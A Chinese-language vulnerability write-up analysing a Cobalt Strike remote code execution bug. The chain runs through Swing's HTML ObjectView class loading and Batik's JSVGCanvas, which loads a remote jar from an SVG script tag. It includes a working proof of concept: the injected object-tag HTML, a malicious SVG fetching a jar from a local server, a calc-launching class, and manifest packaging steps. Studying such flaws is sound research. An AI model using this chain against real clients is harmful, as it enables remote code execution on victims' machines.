0x01 前言
本次我们要讲的是前段时间传的比较火的Cobalt Strike RCE漏洞分析,你们也可以当作我是在炒冷饭,我也是最近才有时间去研究了一下,不得不说,漏洞触发确实有点意思,发现的人也是费了点心思,不过原理没那么复杂,下面大家跟着我一起看下去就能明白这个漏洞的前因后果了。如果有讲的不对的地方,各位巨佬们多多包涵。
0x02 前置知识
在此之前,我要给大家讲一些基础概念知识,这样能比较好的帮助大家更好的理解这个漏洞的原理。已经了解的大佬们,可以直接看漏洞分析部分。
01 svg基础知识
首先我们要知道什么是svg,下面我给出百度大爹的专业解释(凑字数😄)
SVG是一种图形文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。严格来说应该是一种开放标准的矢量图形语言,可让你设计激动人心的、高分辨率的Web图形页面。用户可以直接用代码来描绘图像,可以用任何文字处理工具打开SVG图像,通过改变部分代码来使图像具有交互功能,并可以随时插入到HTML中通过浏览器来观看。
前面一堆废话,重点关注我加粗的字体部分就好,其中最关键的一点就是它可以在浏览器中来查看,这里其实会牵扯到一个东西,就是xss,其实svg也是被浏览器解析的,并且它可以插入html脚本,那么就可以造成xss漏洞,听到这里,大伙是不是在往RCE去关联,是不是xss漏洞的问题啊,巴拉巴拉之类的,其实不然,svg这里只能理解为一个导火索,具体细节我们后面会讲。
下面我们来看一下一个标准的svg文件时什么样的代码,贴出来
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
</svg>
这就是最基础最简单的svg代码,这么看大家就理解了吧,他本来就是html的一部分,弹个窗啥的也不过分。
这里xmlns是命名空间,XML内容通过给明确的标签显示“命名空间声明”来告诉使用者哪个方言标签名称属于哪个,命名空间声明是通过 xmlns attribute 提供的。这里就可以理解成引用的名字,用来定义一些命名空间前缀。
如何定义命名空间前缀呢?看下面的代码
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<script xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="./1.js">
</script>
</svg>
1.js里面是弹出窗口,访问来看一下效果
这里是通过命名空间xmlns声明了命名空间前缀xlink,然后使用xlink来定义href属性的值,引入外部连接,这里是简单的使用了解即可。
02 swing基础使用以及ObjectView对象特性
关于swing的基础使用,我们也是简单讲一下,这里就不长篇大论了,毕竟这个玩意是用来开发图形化界面的,一般人平时不太会用到。
下面我给出示例代码
package study;
import javax.swing.*;
import java.awt.*;
public class SwingDemo {
public static void main(String[] args) {
init();
}
private static void init() {
JFrame frame = new JFrame("这是我们的JFrame窗口。");
frame.setBackground(Color.BLUE);
frame.setBounds(500, 500, 400, 400);
// 设置文字JLabel
JLabel label = new JLabel("hello swing");
frame.add(label);
frame.setVisible(true); // 设置窗口可见
// 关闭事件
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
}
}
运行界面,如图
这里主要是起了一个frame框架,然后设置了大小,之后加入了一个JLabel标签,这个标签可以理解为text文本标签。
还可以插入图片,如图
可以看到玩法还是挺多的,大家感兴趣的话可以去学习一下,这里不多讲。
讲完了基础使用,我们就要来讲一下ObjectView这个对象了他的全限定类名是 javax.swing.text.html.ObjectView,为什么要讲这个类呢?因为这个类和漏洞的产生有着直接的关系,这个类能能干什么,我简单举个例子大家就能明白了,先来看一下api文档 :https://www.runoob.com/manual/jdk11api/java.desktop/javax/swing/text/html/ObjectView.html
重点我标注出来了,文字描述也贴一下,怕你们图片看不清
此视图将尝试加载classid属性指定的类。如果可能,使用用于加载关联文档的类加载器。这通常与用于加载EditorKit的ClassLoader相同。如果文档的ClassLoader为null,则使用Class.forName 。
如果可以成功加载该类,则将尝试通过调用Class.newInstance来创建它的实例。将尝试将实例缩小到键入java.awt.Component以显示该对象。
一个简单的HTML调用示例是:
<object classid="javax.swing.JLabel"> <param name="text" value="sample text"> </object>
可以看到是通过这个方法去加载classid定义的类的,没看文档之前我也是不知道的,我使用了一个笨方法,可以给大家分享一下。
首先通过前面的描述我们可以知道,这个对象可以根据classid(全类名)来加载指定的类,如果没有找到对应的类加载器,则使用Class.forName去加载这个classid的类,并且使用newInstance进行实例化。
那么从这些信息中,我们可以得知,它会加载类并且实例化对象。那么,就很简单了,我们只要找到被加载类的构造方法,打上断点,然后使用官方给出的示例代码,那么就可以通过构造方法回溯到加载类的方法。
在此之前还有一个概念要讲一下,就是swing是支持html代码解析的,不过不是所有标签都能解析,比如script以及一些其他的,可能不能正常解析执行,给一个demo
JLabel label = new JLabel("<html><img src=1>");
可以看到插入了img标签
然后我们来使用官方给出的示例代码来试一下
JLabel label = new JLabel("<html><object classid=\"javax.swing.JLabel\"><param name=\"text\" value=\"chabao is handsome\"></object>");
可以看到通过之一段html代码,我们反而插入了一段JLabel标签,是不是很神奇,我当时也觉得有点意思,还能这么玩。
前置知识差不多讲完了,下面我们进入正题吧,盘他!
0x03 漏洞分析
01 代码调试
下面我们开始代码调试环节,帮助大家更好的理解这个漏洞,首先我们需要在一些方法上打上断点
javax.swing.text.html.ObjectView#createComponent
javax.swing.text.html.ObjectView#setParameters
首先我们要使用一段代码来作为调试使用,贴出来
// 定义一个类,用来测试
import java.io.IOException;
public class Demo2 {
public Demo2(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
// Demo代码
import javax.swing.*;
import java.awt.*;
public class SwingDemo3 {
public static void main(String[] args) {
init();
}
private static void init() {
JFrame frame = new JFrame("这是我们的JFrame窗口。");
frame.setBackground(Color.BLUE);
frame.setBounds(500, 500, 800, 800);
// 设置文字JLabel
// JLabel label = new JLabel("<html><object classid=\"study.Demo2\"><param name=\"text\" value=\"calc\"></object>");
JLabel label = new JLabel("<html><object classid=\"study.Demo2\"></object>");
label.setBounds(0, 0, 300, 300);
frame.add(label);
frame.setVisible(true); // 设置窗口可见
// 关闭事件
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
}
}
debug模式运行程序,如图
这里可以看到对我们传入的classid进行解析,然后使用 createComponent 方法尝试对该类进行加载并且实例化,类加载的时候可以看到initialize选项为true,其实也是会执行被加载类的static代码块的,不出意外的话执行下去应该就会弹出计算器了,再往下在的话会做一个类型判断,我们等会来讲,先看执行结果
这里和我们预想的是一样的,到这一步,我们可能会思考,任意类加载,这个可不可能造成什么问题呢,但其实这里还是局限性很大的,因为即使你能加载一些特定的类,但是里面的参数你均不可控,那么其实无意义。
这个时候,前面的第二块代码处的作用就要体现出来了,不是类加载没危害吗,哎,我给你造一个漏洞点出来!
第二块代码块做了什么操作呢?首先我们要知道如何才能满足他的条件,o instanceof Component,这一段是什么意思呢,相信有一些基础的应该都知道,这里做了一个类型判断,就是说实例化生成的o对象必须为Component的子类或者实现类,那么我们看一下Component是啥
这里可以看到,Component是一个抽象类,如果我们想通过if判断的话,那么我们就要找到一个继承Component的类,然后来看一下 javax.swing.text.html.ObjectView#setParameters 方法里做了什么操作
还是以我们自定义的类为例,稍微修改一下
import java.awt.*;
import java.io.IOException;
public class Demo2 extends Component {
private String name;
public Demo2(){
}
public void setName(String name){
try {
Runtime.getRuntime().exec(name);
} catch (IOException e) {
e.printStackTrace();
}
}
}
这里我们模仿JLabel,写一个setXXX方法,看下是如何被调用到的。前面的示例代码也得改一下
import javax.swing.*;
import java.awt.*;
public class SwingDemo3 {
public static void main(String[] args) {
init();
}
private static void init() {
JFrame frame = new JFrame("这是我们的JFrame窗口。");
frame.setBackground(Color.BLUE);
frame.setBounds(500, 500, 800, 800);
// 设置文字JLabel
JLabel label = new JLabel("<html><object classid=\"study.Demo2\"><param name=\"name\" value=\"calc\"></object>");
// JLabel label = new JLabel("<html><object classid=\"study.Demo2\"></object>");
label.setBounds(0, 0, 300, 300);
frame.add(label);
frame.setVisible(true); // 设置窗口可见
// 关闭事件
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
}
}
重新debug启动程序,进入到 javax.swing.text.html.ObjectView#createComponent 方法,如图
可以看到已经满足if条件了,然后我们进入到 javax.swing.text.html.ObjectView#setParameters 方法
这里先是获取到Demo2对象的类对象,然后使用 Introspector.getBeanInfo(k) 方法获取Demo2类对象的所有信息,封装到BeanInfo对象中。
接着往下看
这里要分几步讲了,首先获取BeanInfo对象的属性描述信息,然后遍历属性数组对象。之后使用 attr.getAttribute(props[i].getName()) 来获取属性的值,props[i].getName() 操作是获取属性的name,就是上面的那些name,然后根据name去attr对象中寻找对应name的值,我们看一下attr对象
这里的name对应的值就是calc,我们自己定义的参数值。再来看一下name对应的PropertyDescriptor对象内容
里面封装的就是我们自己定义的setName方法,作为writeMethod对象,接着往下看
这里有一些限制条件,首先是参数列表那一块,这里限制方法的参数列表只能为一个参数且需要为String类型,超出就退出不予执行。第二个就是方法修饰符的问题了,我们可以跟一下 sun.reflect.misc.MethodUtil#invoke 方法看一下
继续跟入 java.lang.reflect.Method#invoke
可以看到全称没有设置方法的访问权限,所以就导致了私有方法是无法直接调用的。
回到刚才的代码,value作为值、write 作为方法,最后使用反射执行comp对象的write方法,也就是Demo2的setName方法
往下继续执行,应该就会进入 study.Demo2#setName 方法了
最后弹出熟悉的计算器,就不截图了
还有前面我们分析的方法访问权限的问题,我把setName设置为private修饰符,看一下
可以看到编译报错了
02 这是漏洞吗?
这里我想请大家和我一起思考一下,在只能执行继承了Component类的情况下,且只能调用public修饰符修饰并且参数个数只能为一个且需要为String类型的时候,能构成漏洞触发点吗?
我虽然不知道漏洞发现者当时是怎么想的,但我是在想,这种情况下能构成漏洞吗?当然对于已经公布出来的信息,大家肯定毋庸置疑的认同这是一个漏洞,但如果没有公布出来之前呢?我想不是每个人都会去深入挖掘吧。这里其实也可以当成是一种反思,某些看似正常的功能点,放到一个特定的场景下,是否会构成漏洞,这是我自己根据这个漏洞得到的想法。
屁话不多说了,答案肯定是能构成漏洞点的,就是需要我们自己去寻找那个特定的类,条件就是要继承Component,并且由public修饰的参数为一个且类型为String的方法,这里由于本人asm操作玩的并不是那么溜,所以我是依赖编译器和正则的方式去找的。
首先使用打开Component类,如图
使用idea快捷键:ctrl+alt+b 查找 Component 的子类,效果如图
然后可以使用箭头指向的地方,打开符合条件的列表,方便查找
这里要说一下,本来我对这个漏洞也只是简单了解,不知道漏洞触发类是在哪里,所以我是先在jdk自带的类中寻找了一番,发现没有符合条件的,后面才想到去cs的jar包中去寻找的,浪费了一点点时间,不过无伤大雅。
通过正则匹配public修饰且参数类型为一个String的方法,最终也是在cs包中找到了触发类,org.apache.batik.swing.JSVGCanvas,其实这个洞本身并不是cs的锅,只是swing解析html以及ObjectView对象的特性加上了apache的batik包,才最终导致了漏洞的产生。
我们看一下这个类符合条件的那个方法
很显然,看到setURI方法大家应该就能想到应该和外部url有关,然后看到调用了一个 org.apache.batik.swing.svg.JSVGComponent#loadSVGDocument 方法,单从名字上去看,应该就知道和svg有点关系。这里我们前面学过的基础知识就要派上用场了。
我们来换个Demo类,先来过一遍这个流程,这里的cs包我是导入到idea的库里面了,你们得先把这个jar包导入类库才能调用里面的类哦。
import javax.swing.*;
public class SwingDemo2 {
private static final String HTML_TEXT = "<html><object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:8001/2.svg\"></object>";
public static void main(String[] args) {
init();
}
private static void init() {
JFrame frame = new JFrame("这是我们的JFrame窗口。");
frame.setLayout(null);
frame.setBounds(300, 200, 600, 400);
// 设置文字JLabel
JLabel label = new JLabel(HTML_TEXT);
label.setLayout(null);
label.setBounds(100,100,300,400);
frame.add(label);
frame.setVisible(true); // 设置窗口可见
// 关闭事件
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
}
private static void doMain() {
}
}
这里是通过object标签动态实例化类 org.apache.batik.swing.JSVGCanvas ,然后调用其setURI方法,我们来debug跟一下,直接定位到 org.apache.batik.swing.JSVGCanvas#setURI 方法
来看一下2.svg文件内容
很简单,就是一个弹窗,代码继续往下走,进入到 org.apache.batik.swing.svg.JSVGComponent#loadSVGDocument 方法,我们在 org.apache.batik.bridge.BaseScriptingEnvironment#loadScript 方法打上断点,然后直接进入到该方法,这里是造成漏洞的最核心的点
这里先是通过解析将我们的2.svg每个标签以及属性都进行了相应解析封装为对象,然后从script对象中获取属性type,就是我们的script标签,如果没有获取到type,那么就会使用默认的type "text/ecmascript"。
接着往下走
如果type为 "application/java-archive" ,那么就进入到该分支,这里不相同继续往下走 ,这个分支我们下面会讲
根据type获取到相应的解释器,这里获取到的是null,我们可以看一下报错信息
可以看到没有找到 org/mozilla/javascript/WrapFactory 这个类,这也是我一开始复现发现的问题,因为cs中默认不包含该jar包,所以如果直接使用默认type的话,那么是无法执行我们的代码的,其实这个jar包本来也有相应的安全问题,可以调用java代码执行命令,是js的解释器(说得不对的话轻点喷哦)。
这个时候很显然这样子是行不通的,那么我们就要回顾代码,去看一下另一条路。还记得我们前面说的第一个分支吗,if (type.equals("application/java-archive")),我们来细看一下代码部分
上面我做了一些注释,大概意思就是,从我们svg文件中定义的xlink:href属性的值中加载一个远程jar包,然后从jar包中搜索MANIFEST.MF文件,之后读取该文件,解析成键值对的形式。然后通过key:Script-Handler 获取对应的值,之后对该值进行加载并且实例化,这个值可以理解成jar包中的一个类的全限定类名。
咦?这么来看大伙是不是有希望了!
那么大致的攻击思路我们也就有了,准备一个svg文件和一个含有恶意类的jar包,然后通过ObjectView对象的特性去调用 org.apache.batik.swing.JSVGCanvas#setURI 方法,最终进入到org.apache.batik.bridge.BaseScriptingEnvironment#loadScript 方法触发代码执行。
说干就干,这里给大家做一个演示,请勿用于非法攻击,不然造成后果,本人概不负责!
编写一个svg文件
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://127.0.0.1:8001/test.jar">
</script>
</svg>
再编写一个恶意类,然后jar的方式打包,打包命令:jar cvf test.jar Test.class
import java.io.IOException;
public class Test {
public Test(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
打包成jar包之后,找到MANIFEST.MF文件,添加一段内容:Script-Handler: Test (这里只要类名就可以哦)
之后使用一段简易的代码去执行
import org.apache.batik.swing.JSVGCanvas;
import javax.swing.*;
public class Demo1 extends JLabel {
public static void main(String[] args) {
JSVGCanvas jsvgCanvas = new JSVGCanvas();
jsvgCanvas.setURI("http://127.0.0.1:8001/1.svg");
}
}
执行效果如图
报错是因为类型转换错误,只要实现ScriptHandler接口就可以避免这个报错了,但是本地测试是没问题的,再Cobalt Strike中测试时,会报找不到ScriptHandler类,所以不实现ScriptHandler接口即可正常类加载执行命令。
0x04 总结
总算写完了,实属不易,关于beacon上线那一块我就没有写了,网上的脚本很多,可以直接拿来用。主要是学习下这个漏洞的触发原理,也是有所收获的,感谢大佬挖出这么有意思的漏洞,来让我们学习。
0x05 参考文章
SVG 命名空间(https://blog.csdn.net/zz00008888/article/details/121118172)